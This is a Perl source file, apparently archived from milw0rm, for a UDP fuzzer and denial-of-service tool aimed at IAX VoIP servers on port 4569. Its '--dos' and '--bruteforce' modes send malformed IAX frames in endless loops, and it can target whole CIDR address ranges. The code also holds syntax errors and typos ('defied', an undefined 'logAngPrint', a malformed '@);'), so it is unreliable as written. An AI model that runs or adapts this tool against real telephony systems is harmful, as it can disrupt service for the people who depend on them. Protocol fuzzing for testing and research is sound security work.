#!/usr/bin/perl -w
#udp IAX protocol fuzzer
#Created: Blake Cornell
# Exploits found with this code can be
# found at
# http://www.securityscraper.com/
#Released under the VoIPER project
#
# Do not hesitate to show enthusiasm and support
# and help develop this further.
use strict;
use IO::Socket;
use Getopt::Long;
use Net::Subnets;
use Pod::Usage;
my @target_port = (4569);
my @targets = ('127.0.0.1');
my $result = GetOptions('port|p=i' => \(my $port = ''),
'host|h=s' => \(my $host = ''),
'dos' => \(my $dos = ''),
'bruteforce' => \(my $bruteforce = ''),
'timeout|t=i' => \(my $timeout = ''),
'dust=i' => \(my $dust = ''),
'listen' => \(my $listen = ''),
'verbose|v' => \(my $verbose = ''),
'help|?' => \(my $help = '')) or pod2usage(2);
if($help) { printUsage(); }
if($host) { @targets=@{retHosts($host)}; }
if($port) { $target_port[0] = $port; }
if($listen&&$dos) { print("DoS mode is in Listening Mode\n"); }
for(my $i=0; $i<=$#targets;$i++) {
if($verbose) { print($targets[$i]."\n"); }
fuzzIAX($targets[$i],4569,$timeout);
}
exit;
sub fuzzIAX {
my($target,$port,$timeout,@args)=@_;
if($verbose) { print("Trying $target:$port\n"); }
socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
my %iaxFrameTypes=(
'Nan' => "00",
'DTMF' => "01",
'VOICE' => "02",
'VIDEO' => "03",
'CONTROL' => "04",
'Null' => "05",
'IAXCONTROL' => "06",
'TEXT' => "07",
'IMAGE' => "08",
'HTML' => "09",
'COMFORTNOISE' => "0a",
'Unknown' => "0b",
'Unknown' => "0c",
'Unknown' => "0d",
'Unknown' => "0e",
'Unknown' => "0f");
my %iaxControls=(
'Nan' => "00",
'HANGUP' => "01",
'Reserved' => "02",
'RINGING' => "03",
'ANSWER' => "04",
'BUSY' => "05",
'Reserved' => "06",
'Reserved' => "07",
'CONGESTION' => "08",
'FLASH_HOOK' => "09",
'Reserved' => "0a",
'OPTION' => "0b",
'KEY_RADIO' => "0c",
'UNKEY_RADIO' => "0d",
'CALL_PROGRESS' => "0e",
'CALL_PROCEEDING' => "0f",
'HOLD' => "10",
'UNHOLD' => "11");
my %iaxControlFrames=(
'Nan' => "00",
'NEW' => "01",
'PING' => "02",
'PONG' => "03",
'ACK' => "04",
'HANGUP' => "05",
'REJECT' => "06",
'ACCEPT' => "07",
'AUTHREQ' => "08",
'AUTHREP' => "09",
'INVAL' => "0a",
'LAGRQ' => "0b",
'LAGRP' => "0c",
'REGREQ' => "0d",
'REGAUTH' => "0e",
'REGACK' => "0f",
'REGREJ' => "10",
'REGREL' => "11",
'VNACK' => "12",
'DPREQ' => "13",
'DPREP' => "14",
'DIAL' => "15",
'TXREQ' => "16",
'TXCNT' => "17",
'TXACC' => "18",
'TXREADY' => "19",
'TXREL' => "1a",
'TXREJ' => "1b",
'QUELCH' => "1c",
'UNQUELCH' => "1d",
'POKE' => "1e",
'Reserved' => "1f",
'MWI' => "20",
'UNSUPPORT' => "21",
'TRANSFER' => "22",
'Reserved' => "23",
'Reserved' => "24",
'Reserved' => "25");
my %iaxHTML = (
'SEND_URL' => 1,
'DATA_FRAME' => 2,
'BEGINNING_FRAME' => 4,
'END_FRAME' => 8,
'LOAD_COMPLETE' => 16,
'PEER_NO_HTML' => 17,
'LINK_URL' => 18,
'UNLINK_URL' => 19,
'REJECT_LINK_URL' => 20);
my %iaxIE = (
'CALLED_NUMBER' => "01",
'CALLING_NUMBER' => "02",
'CALLING_ANI' => "03",
'CALLING_NAME' => "04",
'CALLED_CONTEXT' => "05",
'USERNAME' => "06",
'PASSWORD' => "07",
'CAPABILITY' => "08",
'FORMAT' => "09",
'LANGUAGE' => "0a",
'VERSION' => "0b",
'ADSPICE' => "0c",
'DNID' => "0d",
'AUTHMETHODS' => "0e",
'CHALLENGE' => "0f",
'MD5_RESULT' => "10",
'RSA_RESULT' => "11",
'APPARENT_ADDR' => "12",
'REFRESH' => "13",
'DPSTATUS' => "14",
'CALLNO' => "15",
'CAUSE' => "16",
'IAX_UNKNOWN' => "17",
'MSGCOUNT' => "18",
'AUTOANSWER' => "19",
'MUSICONHOLD' => "1a",
'TRANSFERID' => "1b",
'RDNIS' => "1c",
'Reserved' => "1d",
'Reserved' => "1e",
'DATETIME' => "1f",
'Reserved' => "20",
'Reserved' => "21",
'Reserved' => "22",
'Reserved' => "23",
'Reserved' => "24",
'Reserved' => "25",
'CALLINGPRES' => "26",
'CALLINGTON' => "27",
'CALLINGTNS' => "28",
'SAMPLINGRATE' => "29",
'CAUSECODE' => "2a",
'ENCRYPTION' => "2b",
'ENCKEY' => "2c",
'CODEC_PREFS' => "2d",
'RR_JITTER' => "2e",
'RR_LOSS' => "2f",
'RR_PKTS' => "30",
'RR_DELAY' => "31",
'RR_DROPPED' => "32",
'RR_000' => "33");
my %iaxDTMF = (
'0' => 0,
'1' => 1,
'2' => 2,
'3' => 3,
'4' => 4,
'5' => 5,
'6' => 6,
'7' => 7,
'8' => 8,
'9' => 9,
'*' => 10,
'#' => 11,
'A' => 12,
'B' => 13,
'C' => 14,
'D' => 15);
my $MAXLEN = 1024;
my $TIMEOUT = 1;
if(defined($timeout) && $timeout ne '' && $timeout != 0) { #timeout of 0 hangs
#unanswered requests
$TIMEOUT=$timeout;
}
if($dos) {
if($verbose) { print("Dos attempts initiated\n"); }
my $src_call = "8000";
my $dst_call = "0000";
my $timestamp = "00000000";
#use rand sequence information to line up RE issues.
my $outbound_seq = unpack("H2",pack("H2",int(rand(256))));
my $inbound_seq = unpack("H2",pack("H2",int(rand(256))));
#or not
#my $outbound_seq = "00";
#my $inbound_seq = "00";
for(my $i=1; 1==1; $i++) {
foreach my $frame (keys(%iaxFrameTypes)) {
foreach my $subset (keys(%iaxControlFrames)) {
foreach my $ie (keys(%iaxIE)) {
my $out_msg = $src_call .
$dst_call .
$timestamp .
$outbound_seq .
$inbound_seq .
$iaxFrameTypes{$frame} .
$iaxControlFrames{$subset} .
$iaxIE{$ie};
if(my @args = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,$listen,0)) {
if($verbose && $i%1==0) {
print('['.scalar(localtime).'] ');
print($frame.' '.$subset.' '.$ie."\n");
}
}
}
}
}
print "Looping\n";
}
}elsif($bruteforce) {
while(1) {
bruteForceFUZZ($target,$port,$listen,$timeout,\%iaxFrameTypes,\%iaxControlFrames,\%iaxIE);
print("\t\tLooping\n\n");
sleep(5);
}
}else{ ###smart fuzz
my $src_call = "8000";
my $dst_call = "0000";
my $timestamp = "00000000";
my $outbound_seq = "00";
my $inbound_seq = "00";
foreach my $frameType (keys(%iaxFrameTypes)) {
if($frameType eq 'CONTROL') {
foreach my $controlKey (keys(%iaxControls)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControls{$controlKey} . $iaxIE{$ieKey}."00";
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$controlKey." ".$ieKey."\n");
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}elsif($frameType eq 'IAXCONTROL') {
foreach my $frameKey (keys(%iaxControlFrames)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ieKey}.'00';
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
logAngPrint('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$frameKey." ".$ieKey.' ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}elsif($frameType eq 'HTML') {
foreach my $htmlKey (keys(%iaxHTML)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxHTML{$htmlKey} . $iaxIE{$ieKey}.'00';
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$htmlKey." ".$ieKey.' ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}elsif($frameType eq 'DTMF') {
foreach my $dtmfKey (keys(%iaxDTMF)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxDTMF{$dtmfKey} . $iaxIE{$ieKey}.'00';
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defied($recv[2])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$dtmfKey." ".$ieKey.' ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}elsif($frameType eq 'TEXT') {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . "00"; #text frame types "must" have a subclass of 0?
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' 00 ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}else{
foreach my $frameKey (keys(%iaxControlFrames)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ieKey}.'00';
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$frameKey." ".$ieKey.' ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}
}
}
}
sub sendUDPSocket {
my($msg,$target,$port,$timeout,$listen,@args)=@_;
my $MAXLEN=1024;
#my($respaddr,$port);
my $out_msg = pack("H*",$msg);
my $ipaddr = inet_aton($target);
my $sin = sockaddr_in($port,$ipaddr);
send(PING, $out_msg, 0, $sin) == length($out_msg) or die "cannot send to $target : $port : $!\n";
if($listen) {
#sleep(.005);
eval {
local $SIG{ALRM} = sub { die "alarm time out"; };
alarm $timeout;
#alarm $timeout;
while (1) {
my $recvfrom = recv(PING, my $in_msg, $MAXLEN, 0) or die "recv: $!";
($port, $ipaddr) = sockaddr_in($recvfrom);
my $respaddr = inet_ntoa($ipaddr);
if($verbose) {
displayIAXRaw($respaddr,$port,$respaddr,$out_msg,$in_msg);
}
return($respaddr,$port,unpack("H*",$in_msg));
}
};
return 0;
}
}
sub bruteForceFUZZ {
my($target,$port,$listen,$timeout,$refFrameTypes,$refControlFrames,$refIE,@args)=@_;
my %iaxFrameTypes=%{$refFrameTypes};
my %iaxControlFrames=%{$refControlFrames};
my %iaxIE=%{$refIE};
for(my $a=32768;$a<=32768;$a++) {# Full Packet 4byte
for(my $b=0;$b<=0;$b++) {# Dest Call 4byte
for(my $c=0;$c<=0;$c++) {# Timestamp 8byte
#for(my $d=0;$d<=0;$d++) {# Out Seq # 2byte
my $loopD=1;
#for(my $d=unpack("H2",pack("H2",int(rand(256))));$loopD;$d++) {# Out Seq # 2byte
# $loopD=0;
my $outbound_seq = unpack("H2",pack("H2",int(rand(256))));
my $inbound_seq = unpack("H2",pack("H2",int(rand(256))));
#if($verbose) {print(sprintf("%04x",$a)." ".sprintf("%04x",$b)." ".sprintf("%08x",$c)." ".sprintf("%02x",$d)."\n"); }
for(my $d=0;1;$d++) {
for(my $e=0;1;$e++) {# In Seq # 2byte
foreach my $frameType (keys(%iaxFrameTypes)) {
foreach my $frameKey (keys(%iaxControlFrames)) {
foreach my $ie (keys(%iaxIE)) {
for(my $f=0;$f<=0;$f++) {
my $maxDust=10;
if($listen) { $maxDust/=2; }
if(defined($dust) && length($dust) > 0) { $maxDust=$dust; }
for(my $z=1;$z<=$maxDust;$z++) {
my $len = int(rand(9));
my $box= int(rand("9"x(($len+1))));
for(my $zz=1;$zz<=$maxDust;$zz++) {
my $hex_msg = sprintf("%04x",$a).sprintf("%04x",$b).sprintf("%08x",$c).sprintf("%02x",$d).sprintf("%02x",$e). $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ie} . sprintf("%02x",$f) . sprintf("%0".$len."x",$box);
if($verbose) {print("[" . scalar(localtime) . "] '" . $frameType."_".$frameKey."_".$ie."_".sprintf("%02x",$f)."_".sprintf("%0".$len."x",$box)."'\n"); }
foreach my $var (sendUDPSocket($hex_msg,$target,$port,1,$listen)) { if($verbose) { print($var."_"); } }
}
}}}}}}}}}} #<------ VERY IMPORTANT
}
sub retIAXHostActive {
my($target,$port,@args)=@_;
my $out_msg='';
if(my @recv = sendUDPSocket($out_msg,$target,$port,1,1)) {
return 1;
}
return 0;
}
sub retHosts {
my($host,@args)=@_;
my @addrs;
if(!$host) { return ('127.0.0.1') };
if($host =~ /^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})\/([\d]{1,2})$/ && $1 >= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 255) {
#Check to see if host is valid class C CIDR Address
if($verbose) { print("Setting CIDR Address Range\n"); }
my $sn = Net::Subnets->new;
my($low,$high)=$sn->range(\$host);
if($verbose) { print("Determined IP Ranges From $$low - $$high\n"); }
return \@{ $sn->list(\($$low,$$high)) };
}elsif($host =~ /^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})$/ && $1 >= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 255) {
#Check to see if host is valid IP
push(@addrs,"$1.$2.$3.$4");
}else{
push(@addrs,$host);
}
return \@addrs;
}
sub displayIAXRaw {
my($respaddr,$port,$out_msg,$in_msg)=@_;
if(defined($in_msg) && unpack("H*",$in_msg) ne '80000000000000000000060a') {
print("[" . scalar(localtime) . "] $respaddr:$port\t$respaddr\t" . unpack("H*",$out_msg) . "\t". unpack("H*",$in_msg) . "\n");
}elsif(defined($respaddr) && defined($port)) {
print(scalar(localtime) . " $respaddr:$port\t$respaddr\n");
}
}
sub displayIAXPacket {
my($hex_msg,@args)=@_;
my $width=32/8;
for(my $i=0;$i*$width<=length($hex_msg);$i++) {
print(substr($hex_msg,$i*$width,$width)."\n");
}
#print $hex_msg."\n";
}
sub printUsage {
print "$0 --dos\n\t\tWill loop through known or manually preset packet combinations.\n";
print "$0 --bruteforce\n\t\tBrute force fuzzes on default port of 4569. It will try random data packaging at the end of a valid packet. It will by default send 10 per each packet.\n";
print "$0 -h 127.0.0.1 --bruteforce --dust 1\n\t\tBrute force fuzzes on default port of 4569. It will try random data packaging at the end of a valid packet. It will only send 1 of each packet.\n";
print "$0 \n\t\tScans the loopback interface by rough usage from IETF guidelines.\n";
exit;
}
sub logAndPrint {
my($string,@args)=@);
if(1==1 || defined($string)) {
print $string;
open(FLE,">>$0_logs_[".scalar(localtime)."] $string");
print FLE $string;
close(FLE);
}
}
# milw0rm.com [2009-06-12]
